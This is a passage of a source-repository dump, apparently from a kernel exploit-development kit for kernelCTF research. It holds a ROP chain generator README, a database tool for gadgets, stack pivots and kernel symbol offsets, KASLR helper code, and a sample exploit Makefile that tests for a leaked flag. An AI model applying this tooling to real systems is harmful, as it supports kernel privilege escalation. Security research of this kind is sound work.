| - name: Install kxdb_tool prerequisites 32 | working-directory: kxdb_tool 33 | run: pip install -r requirements.txt 34 | 35 | - name: Upgrade DB 36 | working-directory: .github/scripts 37 | run: ./db_upgrade_config.sh 38 | -------------------------------------------------------------------------------- /libxdk/util/file.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | /** 24 | * @brief Reads the content of a file into a vector of bytes. 25 | * 26 | * @param filename The path to the file to read. 27 | * @return A vector of uint8_t containing the file's data. 28 | * @throws ExpKitError if the file cannot be found or opened. 29 | */ 30 | std::vector read_file(const std::string &filename); 31 | 32 | /** 33 | * @brief Writes a string of data to a file. 34 | * @param filename The path to the file to write. 35 | * @param data The string containing the data to write. 36 | */ 37 | void write_file(const std::string& filename, const std::string& data); -------------------------------------------------------------------------------- /kxdb_tool/data_model/db.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Module containing classes related to targets.""" 16 | from typing import Dict, List, Optional 17 | from pydantic.dataclasses import dataclass 18 | from .meta import MetaConfig 19 | from .pivots import Pivots 20 | from .rop_chain import RopActions 21 | from .structs import Structs 22 | 23 | @dataclass 24 | class Target(): 25 | distro: str 26 | release_name: str 27 | version: Optional[str] 28 | symbols: Optional[Dict[str, int]] # name -> offset 29 | rop_actions: Optional[RopActions] 30 | stack_pivots: Optional[Pivots] 31 | structs: Optional[Structs] 32 | 33 | def __str__(self): 34 | return f"{self.distro}/{self.release_name}" 35 | 36 | @dataclass 37 | class Db(): 38 | meta: MetaConfig 39 | targets: List[Target] 40 | -------------------------------------------------------------------------------- /libxdk/util/file.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include "util/file.h" 20 | 21 | std::vector read_file(const std::string &filename) { 22 | std::ifstream file(filename, std::ios::binary); 23 | if (file.fail()) 24 | throw ExpKitError("file not found: %s", filename.c_str()); 25 | std::vector data((std::istreambuf_iterator(file)), std::istreambuf_iterator()); 26 | return data; 27 | } 28 | 29 | void write_file(const std::string& filename, const std::string& data) { 30 | std::ofstream file(filename, std::ios::binary); 31 | if (file.fail()) 32 | throw ExpKitError("file could not be written: %s", filename.c_str()); 33 | file << data; 34 | } 35 | -------------------------------------------------------------------------------- /rop_generator/README.md: -------------------------------------------------------------------------------- 1 | # Kernel ROP Generator 2 | 3 | ## Description 4 | Tools for generating ROP chains on Linux Kernel images. 5 | 6 | ```angrop_rop_generator.py``` works by patching the binary (using rop_instruction_patcher.py) to replace the various thunks and runtime patches. These thunks are replaced with nops or invalid instructions to avoid them being identified as possible gadgets. 7 | Calls to ```__x86_return_thunk``` are replaced with ```ret``` so that angrop/rp++ can find gadgets correctly 8 | 9 | ## Usage 10 | 1. Generate ROP chain with angrop_rop_generator.py 11 | * ```python angrop_rop_generator.py ``` 12 | * `````` needs to include symbols 13 | * outputs the generated ROP chain 14 | 15 | ## Testing 16 | To test the generated ROP chain, we patch the following syscalls 17 | * Patch ```__sys_shutdown ``` to copy ROP chain from user to kernel memory 18 | * Patch ```__x64_sys_reboot``` to jump to the ROP chain 19 | * Run ```python kernel_syscall_patcher.py ``` 20 | * This outputs ```.syscall_patched``` 21 | 22 | Copy the generated ROP chain into rop_test_trigger.c 23 | * Compile ```gcc -static -o rop_test_trigger rop_test_trigger.c``` 24 | * ``` cp rop_test_trigger /rootfs/``` 25 | * Run the patched vmlinux in QEMU ```./run_vmlinuz.sh .syscall_patched sh``` 26 | * Inside QEMU run ```./rop_test_trigger``` 27 | 28 | -------------------------------------------------------------------------------- /kxdb_tool/test/test_kxdb_reader.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Contains tests for KxdbWriter.""" 16 | 17 | import unittest 18 | from converter.kxdb_reader import KxdbReader 19 | from data_model.db import Db 20 | from data_model.meta import MetaConfig 21 | from test.utils import RELEASES_DIR, ARTIFACTS_DIR, expect_file 22 | from data_model.serialization import to_json 23 | 24 | class KxdbReaderTests(unittest.TestCase): 25 | """Tests for the KxdbReader class.""" 26 | 27 | def run_db_test(self, fn): 28 | db = KxdbReader().read_from_file(f"{ARTIFACTS_DIR}/{fn}.kxdb") 29 | db_json = to_json(db, indent=4) 30 | with expect_file(f"{fn}.json") as f: 31 | f.write(db_json.encode("utf-8")) 32 | 33 | def test_lts_6_1_36(self): 34 | self.run_db_test("lts_6_1_36_db") 35 | 36 | def test_lts_6_1_38(self): 37 | self.run_db_test("lts_6_1_38_db") 38 | -------------------------------------------------------------------------------- /libxdk/include/xdk/util/incbin.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | #include 19 | 20 | /** 21 | * @brief Includes a binary file into the executable. 22 | * @param var_name The name for the included data and size variables. 23 | * @param filename The path to the binary file to include. 24 | */ 25 | #define INCBIN(var_name, filename) \ 26 | __asm__(".section .rodata\n" \ 27 | #var_name "_begin:\n" \ 28 | ".incbin \"" filename "\"\n" \ 29 | #var_name "_end:\n" \ 30 | ); \ 31 | extern const unsigned char var_name ## _begin[]; \ 32 | extern const unsigned char var_name ## _end[]; \ 33 | __asm__(".section .bss\n"); \ 34 | extern const size_t var_name ## _size = var_name ## _end - var_name ## _begin; \ 35 | std::vector var_name = std::vector(var_name ## _begin, var_name ## _end); 36 | -------------------------------------------------------------------------------- /kxdb_tool/data_model/rop_chain.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from typing import List, Union, Optional 16 | from pydantic import TypeAdapter 17 | from pydantic.dataclasses import dataclass 18 | from dataclasses import field 19 | 20 | @dataclass 21 | class RopChainItem(): 22 | pass 23 | 24 | @dataclass 25 | class RopChainConstant(RopChainItem): 26 | value: int 27 | 28 | @dataclass 29 | class RopChainOffset(RopChainItem): 30 | kernel_offset: int 31 | description: Optional[str] = None 32 | 33 | def __repr__(self) -> str: 34 | return f"RopChainOffset(kernel_offset={hex(self.kernel_offset)})" 35 | 36 | @dataclass 37 | class RopChainArgument(RopChainItem): 38 | argument_index: int 39 | 40 | @dataclass 41 | class RopAction(): 42 | description: Optional[str] = None 43 | gadgets: List[Union[RopChainConstant, RopChainOffset, RopChainArgument]] = field(default_factory=list) 44 | 45 | RopActions = List[RopAction] 46 | -------------------------------------------------------------------------------- /.github/scripts/send_notification.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | const fs = require('fs'); 18 | 19 | async function main() { 20 | const url = `https://github.com/google/kernel-research/actions/runs/${process.env.GITHUB_RUN_ID}`; 21 | const pp = JSON.parse(fs.readFileSync(process.env.GITHUB_EVENT_PATH, {encoding: 'utf8'})); 22 | 23 | let text = `*GHA FAIL*: workflow <${url}|${process.env.GITHUB_WORKFLOW}> by ${process.env.GITHUB_ACTOR} failed`; 24 | if (pp.pull_request) 25 | text += ` for PR #${pp.pull_request.number} ("${pp.pull_request.title}")`; 26 | else if (pp.head_commit) 27 | text += ` for commit ${pp.head_commit.id.substr(0,7)} ("${pp.head_commit.message}")`; 28 | 29 | fetch(process.env.WEBHOOK_URL, { 30 | method: 'POST', 31 | headers: { 'Content-Type': 'application/json' }, 32 | body: JSON.stringify({ "text": text }) 33 | }); 34 | } 35 | 36 | main(); 37 | -------------------------------------------------------------------------------- /kxdb_tool/test/test_image_db_target.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Tests for the ImageDbTarget class.""" 16 | 17 | import unittest 18 | from converter.image_db_target import ImageDbTarget 19 | from test.utils import RELEASES_DIR 20 | 21 | class ImageDbTargetTests(unittest.TestCase): 22 | """Tests for the ImageDbTarget class.""" 23 | 24 | def setUp(self): 25 | super().setUp() 26 | self.target = ImageDbTarget("kernelctf", "lts-6.1.36", 27 | f"{RELEASES_DIR}/kernelctf/lts-6.1.36") 28 | 29 | def test_get_version(self): 30 | self.assertEqual("KernelCTF version 6.1.36 (...)", 31 | self.target.get_version()) 32 | 33 | def test_get_symbols(self): 34 | self.assertDictEqual({ 35 | "prepare_kernel_cred": 0x1befb0, 36 | "init_nsproxy": 0x26765c0, 37 | "anon_pipe_buf_ops": 0x1a1cf80, 38 | "msleep": 0x2292e0, 39 | }, self.target.get_symbols()) 40 | -------------------------------------------------------------------------------- /kxdb_tool/test/utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import contextlib 16 | import logging 17 | import os 18 | 19 | TEST_DIR = os.path.dirname(os.path.abspath(__file__)) 20 | MOCK_DB_DIR = f"{TEST_DIR}/mock_db" 21 | RELEASES_DIR = f"{MOCK_DB_DIR}/releases" 22 | ARTIFACTS_DIR = f"{TEST_DIR}/artifacts" 23 | ACTUAL_RESULTS_DIR = f"{TEST_DIR}/actual_results" 24 | EXPECTED_RESULTS_DIR = f"{TEST_DIR}/expected_results" 25 | 26 | @contextlib.contextmanager 27 | def expect_file(fn): 28 | with open(f"{ACTUAL_RESULTS_DIR}/{fn}", "w+b") as f_actual: 29 | yield f_actual 30 | f_actual.seek(0) 31 | with open(f"{EXPECTED_RESULTS_DIR}/{fn}", "rb") as f_expected: 32 | if f_expected.read() != f_actual.read(): 33 | raise Exception(f"The binary content does not match in file '{fn}' (expected len: {f_expected.tell()}, actual len: {f_actual.tell()})") 34 | 35 | class ExceptionRaisingLogger(logging.Logger): 36 | def error(self, msg, *args): 37 | raise RuntimeError(f"Error logged: {msg % args}") -------------------------------------------------------------------------------- /libxdk/test/tests/SymbolsTests.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include "target/KxdbParser.h" 22 | #include "test/TestSuite.h" 23 | #include "test/TestUtils.h" 24 | #include "util/file.h" 25 | 26 | class SymbolsTest: public TestSuite { 27 | public: 28 | SymbolsTest(): TestSuite("SymbolsRuntimeTests", "xdk db symbols tests") { } 29 | 30 | TEST_METHOD(symbolsCheck, "check if the database contains the correct symbols") { 31 | auto kaslr_base = env->GetXdkDevice().KaslrLeak(); 32 | 33 | for (auto pair : env->GetTarget().GetAllSymbols()) { 34 | auto sym_addr = env->GetXdkDevice().SymAddrOpt(pair.first.c_str()); 35 | 36 | // releases without CONFIG_KALLSYMS_ALL only contain function addresses 37 | if (sym_addr.has_value()) 38 | TestUtils::eq(sym_addr.value() - kaslr_base, pair.second, pair.first.c_str()); 39 | } 40 | } 41 | }; 42 | -------------------------------------------------------------------------------- /kxdb_tool/converter/symbols.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from data_model.meta import SymbolMeta 16 | 17 | class SymbolWriter: 18 | """Helper class to handle symbol writing to the db.""" 19 | 20 | def __init__(self, symbols_meta): 21 | self.symbols_meta = sorted(symbols_meta, key=lambda x: x.name) 22 | 23 | def write_meta(self, wr_meta): 24 | for (wr, meta) in wr_meta.seekable_list(self.symbols_meta): 25 | wr.zstr(meta.name) # name_len + name 26 | 27 | def write_target(self, wr_target, target): 28 | for meta in self.symbols_meta: 29 | wr_target.u4(target.symbols.get(meta.name, 0)) 30 | 31 | 32 | class SymbolReader: 33 | """Helper class to handle symbol reading from the db.""" 34 | 35 | def __init__(self): 36 | self.meta = [] 37 | 38 | def read_meta(self, r): 39 | for _ in r.seekable_list(): 40 | name = r.zstr() 41 | self.meta.append(SymbolMeta(name)) 42 | return self.meta 43 | 44 | def read_target(self, r): 45 | return {s.name: r.u4() for s in self.meta} 46 | -------------------------------------------------------------------------------- /libxdk/util/pwn_utils.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | bool is_kaslr_base(uint64_t kbase_addr) { 21 | if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) 22 | return false; 23 | return true; 24 | } 25 | 26 | uint64_t check_kaslr_base(uint64_t kbase_addr) { 27 | if (!is_kaslr_base(kbase_addr)) 28 | throw ExpKitError("kernel base address (%p) is incorrect", kbase_addr); 29 | return kbase_addr; 30 | } 31 | 32 | uint64_t check_heap_ptr(uint64_t heap_leak) { 33 | if ((heap_leak & 0xFFFF000000000000) != 0xFFFF000000000000) 34 | throw ExpKitError("kernel heap address (%p) is incorrect", heap_leak); 35 | return heap_leak; 36 | } 37 | 38 | void pin_cpu(int cpu) { 39 | cpu_set_t set; 40 | CPU_ZERO(&set); 41 | CPU_SET(cpu, &set); 42 | if (sched_setaffinity(0, sizeof(set), &set)) 43 | throw errno_error("sched_setaffinity failed"); 44 | } -------------------------------------------------------------------------------- /libxdk/samples/pipe_buf_rop/Makefile: -------------------------------------------------------------------------------- 1 | # ADJUST THIS PATH if kernelXDK is installed elsewhere (e.g., /usr/local) 2 | KERNELXDK_INSTALL_PREFIX ?= ../../ 3 | 4 | KERNELXDK_INCLUDE_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/include/ 5 | KERNELXDK_LIB_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/lib 6 | 7 | TARGET ?= kernelctf lts-6.1.81 8 | CC = g++ 9 | CFLAGS = -static -I../.. -I$(KERNELXDK_INCLUDE_DIR) -g 10 | LDFLAGS := -L$(KERNELXDK_LIB_DIR) -lkernelXDK 11 | 12 | build: exp 13 | 14 | clean: 15 | rm exp *.o || true 16 | 17 | exp: exploit.o $(OBJS) target_db.kxdb 18 | $(CC) $(CFLAGS) exploit.o $(LDFLAGS) -o exp 19 | 20 | %.o: %.cpp target_db.kxdb 21 | $(CC) $(CFLAGS) -c $< -o $@ 22 | 23 | target_db.kxdb: 24 | wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb 25 | 26 | run: build 27 | cp exp* ../../../image_runner/rootfs/ 28 | ../../../image_runner/run.sh $(TARGET) --custom-modules=xdk_device --only-command-output --dmesg=dmesg.txt --qemu-args="-D debug.log -d int,cpu_reset,unimp,guest_errors" -- /exp.sh|tee output.txt 29 | 30 | debug: build 31 | cp exp* ../../../image_runner/rootfs/ 32 | ../../../image_runner/run.sh $(TARGET) --gdb --nokaslr --custom-modules=xdk_device --only-command-output --dmesg=dmesg.txt -- /exp.sh|tee output.txt 33 | 34 | test: run 35 | grep "CTF{secret_flag_deadbeef}" output.txt || { echo "Failed to leak the flag."; grep -q ExpKitError output.txt || { echo "dmesg content: "; cat dmesg.txt; }; exit 1; } 36 | 37 | stability_test: build 38 | cp exp* ../../../image_runner/rootfs/ 39 | ../../../image_runner/test/run_stability_test.sh $(TARGET) /exp.sh 40 | 41 | echo: 42 | echo $(TARGET) 43 | -------------------------------------------------------------------------------- /libxdk/test/TestEnvironment.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include "test/TestEnvironment.h" 18 | #include 19 | 20 | void TestEnvironment::SetTargetDbPath(const std::string& target_db_path) { 21 | target_db_path_ = target_db_path; 22 | } 23 | 24 | XdkDevice& TestEnvironment::GetXdkDevice() { 25 | if (!XdkDevice::IsAvailable()) 26 | throw ExpKitError("the xdk kernel module is not available"); 27 | 28 | if (!xdk_.has_value()) xdk_.emplace(); 29 | 30 | return xdk_.value(); 31 | } 32 | 33 | TargetDb& TestEnvironment::GetTargetDb() { 34 | if (target_db_path_.empty()) 35 | throw ExpKitError( 36 | "the target db path was not specified in the environment"); 37 | 38 | if (!target_db_) 39 | target_db_.emplace(target_db_path_); 40 | return target_db_.value(); 41 | } 42 | 43 | Target& TestEnvironment::GetTarget() { 44 | if (!target_) target_ = GetTargetDb().AutoDetectTarget(); 45 | return target_.value(); 46 | } 47 | -------------------------------------------------------------------------------- /.github/scripts/db_get_missing_releases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -eo pipefail 16 | 17 | if [ "$1" == "--rebuild" ]; then 18 | echo -n > gcs_releases.txt 19 | else 20 | gcloud storage ls gs://kernelxdk/db/kernelctf/*.kxdb |sed -E "s/.*kernelctf\/(.*)\.kxdb/\\1/" > gcs_releases.txt 21 | fi 22 | 23 | # gcloud storage ls gs://kernelctf-build/releases | sed "s/.*releases\/\(.*\)\//\1/" > build_releases.txt 24 | 25 | # missing_releases = kernelctf_releases without gcs_releases and skipped_releases 26 | curl -s https://raw.githubusercontent.com/google/security-research/master/kernelctf/server/releases.yaml | grep -Eoh "^[^: ]*" > kernelctf_releases.txt 27 | cat kernelctf_releases.txt | grep -v -f gcs_releases.txt | grep -v -f <(cat skipped_releases.txt | sed 's/\s*#.*//') > missing_gcs_releases.txt || true 28 | 29 | if [[ ! -s "missing_gcs_releases.txt" ]]; then echo "Nothing is missing from GCS, exiting..."; exit 0; fi 30 | 31 | echo "The following releases were not processed yet: " 32 | cat missing_gcs_releases.txt | sed 's/$/, /' | tr -d '\n' 33 | echo 34 | -------------------------------------------------------------------------------- /libxdk/test/logging/TestLogger.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include "test/TestSuite.h" 22 | 23 | class TestLogger { 24 | public: 25 | virtual void Begin(const std::vector>& test_suites, uint test_count) = 0; 26 | virtual void End() = 0; 27 | virtual void TestSuiteBegin(const TestSuite& suite) = 0; 28 | virtual void TestSuiteEnd(const TestSuite& suite) = 0; 29 | virtual void TestSuiteSkip(const TestSuite& suite, uint first_test_idx) = 0; 30 | virtual void TestSuiteFail(const TestSuite& suite, const std::exception& exc) = 0; 31 | virtual void TestSkip(const TestSuite& suite, const Test& test, uint test_idx) = 0; 32 | virtual void TestBegin(const TestSuite& suite, const Test& test, uint test_idx) = 0; 33 | virtual void TestSuccess(const TestSuite& suite, const Test& test, uint test_idx) = 0; 34 | virtual void TestFail(const TestSuite& suite, const Test& test, uint test_idx, const std::exception& exc) = 0; 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How to contribute 2 | 3 | We're excited you're interested in contributing to our project! 4 | 5 | Right now, the project is in a beta phase, and our team is concentrating on 6 | building out the core features. Because of this, we aren't accepting 7 | contributions at the moment. 8 | 9 | However, we would love to hear your ideas! If you have a specific contribution 10 | in mind, please reach out to us on [Discord](https://discord.gg/8W8PJzA567) to 11 | chat with the team before you start coding. 12 | 13 | ## Before you begin 14 | 15 | ### Sign our Contributor License Agreement 16 | 17 | Contributions to this project must be accompanied by a 18 | [Contributor License Agreement](https://cla.developers.google.com/about) (CLA). 19 | You (or your employer) retain the copyright to your contribution; this simply 20 | gives us permission to use and redistribute your contributions as part of the 21 | project. 22 | 23 | If you or your current employer have already signed the Google CLA (even if it 24 | was for a different project), you probably don't need to do it again. 25 | 26 | Visit to see your current agreements or to 27 | sign a new one. 28 | 29 | ### Review our community guidelines 30 | 31 | This project follows 32 | [Google's Open Source Community Guidelines](https://opensource.google/conduct/). 33 | 34 | ## Contribution process 35 | 36 | ### Code reviews 37 | 38 | All submissions, including submissions by project members, require review. We 39 | use GitHub pull requests for this purpose. Consult 40 | [GitHub Help](https://help.github.com/articles/about-pull-requests/) for more 41 | information on using pull requests. 42 | -------------------------------------------------------------------------------- /libxdk/test/logging/TapLogger.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include "test/logging/TestLogger.h" 23 | 24 | using namespace std; 25 | 26 | class TapLogger: public TestLogger { 27 | public: 28 | void Begin(const vector>& test_suites, uint test_count); 29 | 30 | void End(); 31 | 32 | void TestSuiteBegin(const TestSuite& suite); 33 | 34 | void TestSuiteFail(const TestSuite& suite, const std::exception& exc); 35 | 36 | void TestSuiteSkip(const TestSuite& suite, uint first_test_idx); 37 | 38 | void TestSuiteEnd(const TestSuite& suite); 39 | 40 | void TestBegin(const TestSuite& suite, const Test& test, uint test_idx); 41 | 42 | void TestSuccess(const TestSuite& suite, const Test& test, uint test_idx); 43 | 44 | void TestFail(const TestSuite& suite, const Test& test, uint test_idx, 45 | const exception& exc); 46 | 47 | void TestSkip(const TestSuite& suite, const Test& test, uint test_idx); 48 | }; 49 | -------------------------------------------------------------------------------- /.github/scripts/db_add_missing_releases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -ex 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | IMAGE_DB_DIR="$SCRIPT_DIR/../../image_db" 19 | KXDB_DIR="$SCRIPT_DIR/../../kxdb_tool" 20 | 21 | ./db_get_missing_releases.sh 22 | 23 | while IFS= read -r RELEASE <&3; do 24 | if [ "$1" == "--auto-cleanup" ]; then 25 | rm -rf "$IMAGE_DB_DIR/releases" 26 | find "$IMAGE_DB_DIR" 27 | fi 28 | 29 | echo "Downloading release $RELEASE" 30 | "$IMAGE_DB_DIR/download_release.sh" kernelctf $RELEASE dbgsym,vmlinuz >/dev/null || continue 31 | 32 | echo "Processing release $RELEASE" 33 | "$IMAGE_DB_DIR/download_release.sh" kernelctf $RELEASE process --only-db || continue 34 | 35 | echo "Collecting runtime data..." 36 | "$IMAGE_DB_DIR/collect_runtime_data.sh" || continue 37 | 38 | echo "Adding $RELEASE to the database" 39 | "$KXDB_DIR/kxdb_tool.py" -i db.kxdb -o db.kxdb --image-db-path "$IMAGE_DB_DIR" 40 | 41 | echo "Uploading new db" 42 | gcloud storage cp -Z -a publicRead db.kxdb gs://kernelxdk/db/kernelctf.kxdb 43 | done 3< missing_db_releases.txt 44 | -------------------------------------------------------------------------------- /.github/scripts/db_upgrade_config.sh: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google 